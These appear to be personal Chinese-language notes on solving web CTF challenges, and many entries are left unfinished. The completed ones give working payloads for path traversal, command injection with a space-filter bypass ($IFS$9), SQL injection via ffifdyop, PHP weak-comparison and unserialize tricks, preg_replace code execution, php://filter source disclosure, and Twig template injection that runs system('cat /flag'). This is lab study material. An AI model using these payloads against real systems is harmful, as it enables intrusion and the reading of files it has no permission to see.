1、直接进入hint.php,得到提示
根据源码往下走,发现了三次过滤
直接构造file=hint.php?../../../../../ffffllllaaaagggg
这里面的注意点:
一、进行调试时,用file进行调试时,看反响(错误的反响),可以知道应该传参的值
二、白名单属于hint.php和source.php,是值而不是键
三、只要一个true返回就行
两种解法,一种是插入和修改,另一种是handler绕过
直接讲handler绕过
注意:要用反引号
待定
看名字就猜测是文件包含
直接base64的源码查看,然后得到base64编码,解密即可
第一步:查询源代码
第二步:可以看到快速跳转,抓包查看
文件包含漏洞 ,需要组装下哪些是需要过滤的
完美绕过所有的限制,那么就得到源码,base64解码得到
最简单的注入了 127.0.0.1|ls /
直接cat /flag
待定
还是命令行注入,但是过滤了两个条件
1、空格 -->用$IFS$9
2、flag过滤,这里拼接过滤,但是也存在问题,就是用
a=fl;b=ag;cat$IFS$9$a$b
还是能读取到flag,这里猜测是不是fl 和ag这样子的模式也能识别出来,所有调换个问题
注意查看源代码就能出flag了
第一步查看源代码
第二步用hacker直接注入想要的信息
还是用bp比较稳定
待定
待定
这题明天写====
明天写
明天写
待定
先开始的话,看题目,就是可以知道是备份,那么得到bak文件
接下来一个很有趣的地方,就是PHP里面的== 是弱相等的,所以只要key=123
那么他就跟str相等
答案:key=123
待定
待定
1、第一个界面,输入框,输入后看响应头
那么就以前做过的题目,答案就是ffifdyop
然后跳转下一个界面
a[]=1&b[]=2
param1[]=1¶m2[]=3
逐条分析
1、函数file_get_contents,常见漏洞就是 php://input
2、直接查看useless.php,没有用处,那么就是查看源代码
前两步得到源代码,base64解码
3、password序列化
(1)text满足绕过条件
(2)file=useless.php
,不再用源代码
(3)password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
待定
待定
待定
这题有启发,再做一遍再写
待定
待定
晚点做
这题比较简单,进去后先将源码整理好
注意两个点
1、MD5的绕过
2、is_numeric的绕过
又是堆叠注入
两种方法,一种是插入新表,一种是handler直接绕过
本题种插入新表的做法确实会过滤函数,那就用handler绕过
第二页
老套路
php://input 还有base64的文件包含
得到源码
这里是preg_replace的漏洞
\S*=${getflag()}&cmd=show_source(%22/flag%22);
答案:
Git泄露,看源码
三个exit是关键,那么就直接传参,很简单了
三种方法
handsome=flag&flag=handsome
flag=flag&is=flag
yds=flag
需要自行参悟,这个还是非常有趣的
这种题这么明显,就是要看看包
审查元素里面有两个flag的包
分别看了,要解析第二个包,所以抓包的时候注意下,第一个包要放掉
经过尝试,可以知道,这里试试看模板注入
{{7*‘7‘}}=49
利用twin模板注入
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls /")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}}
就可以了
这题也是很精髓
改用php://filter/read=convert.base64-encode/resource=index
得到源码
将这几个函数挑一个代入进去
其他待定,慢慢补充